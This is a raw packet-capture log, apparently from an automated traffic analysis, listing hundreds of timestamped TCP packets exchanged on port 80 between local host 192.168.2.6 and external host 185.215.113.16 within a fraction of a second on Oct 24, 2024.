Oct 24, 2024 09:08:15.011374950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011414051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011424065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011450052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011461020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011486053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011498928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011522055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011534929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011558056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011568069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011594057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011606932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011634111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011641979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011672020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011682987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011709929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011719942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011743069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011753082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011776924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011784077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011820078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011826992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011856079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011863947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011893034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.011904001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.011934996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.045757055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.045830965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.045840979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.045871019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.045882940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.045908928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.045924902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.045947075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.045960903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.045984983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.045995951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046025038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046040058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046061039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046081066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046098948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046114922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046134949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046153069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046170950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046189070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046231985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046235085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046272993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046288013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046308994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046319008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046344995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046358109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046381950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046416044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046425104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046437979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046463013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046479940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046502113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046521902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046538115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046545029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046575069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046591997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046613932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046628952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046650887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046670914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046685934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046715021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046725988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046744108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046762943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046772957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046798944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046818018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046834946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046853065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046870947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046870947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046909094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046925068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046947002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046952963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.046966076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046983957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.046988010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.047000885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.047024012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.084721088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.084789038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.084808111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.084820986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.084841013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.084865093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.084877968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.084913015 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.084930897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.084956884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.084966898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085014105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085022926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085077047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085077047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085115910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085133076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085158110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085187912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085226059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085226059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085226059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085253000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085290909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085318089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085346937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085381985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085400105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085402966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085417986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085434914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085452080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085465908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085483074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085500956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.085524082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085546017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.085573912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.109719992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.109774113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.109807014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.109808922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.109850883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.109869957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.109869957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.109889030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.109908104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.109929085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.109939098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.109967947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.109982014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.110008001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.110030890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.110090971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128401995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128479004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128480911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128528118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128536940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128571987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128577948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128608942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128613949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128644943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128659010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128685951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128700972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128742933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128753901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128798008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128886938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128925085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128946066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128957033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.128957033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.128999949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129010916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129046917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129061937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129081011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129091024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129117012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129127979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129162073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129165888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129179001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129193068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129204988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129204988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129215956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129219055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129231930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129256010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129256964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129272938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129292965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129302025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129331112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129338980 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129367113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.129374027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.129411936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162295103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162420988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162429094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162477970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162497997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162537098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162545919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162573099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162592888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162616968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162626982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162662029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162681103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162693024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162702084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162744999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162744999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162798882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162800074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162832975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162852049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162875891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162885904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162918091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162940979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162952900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.162960052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.162990093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163005114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163042068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163043022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163079023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163095951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163108110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163136959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163147926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163162947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163182974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163201094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163213968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163235903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163249969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163254023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163286924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163305044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163347960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163355112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163392067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163412094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163424015 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163435936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163460016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163470030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163496971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163511992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163531065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163548946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163568020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163583994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163604021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163621902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163639069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163644075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163672924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163682938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163712978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163723946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163742065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163760900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163777113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163780928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163813114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163829088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163849115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163868904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163882971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163902044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163918972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163929939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163955927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.163973093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.163990021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.164012909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.164025068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.164033890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.164061069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.164076090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.164115906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202528954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202590942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202626944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202630997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202678919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202678919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202682018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202718973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202739000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202764988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202775002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202811956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202832937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202847958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202858925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202884912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202897072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202938080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.202939987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202976942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.202987909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203011990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.203026056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203049898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.203061104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203087091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.203099966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203125000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.203139067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203161955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.203176022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203198910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.203207016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203234911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.203253984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203273058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.203275919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.203361034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.227344990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227423906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227442980 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.227463961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227474928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.227502108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227519035 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.227540016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.227575064 CEST	49997	80	192.168.2.6	185.215.113.16
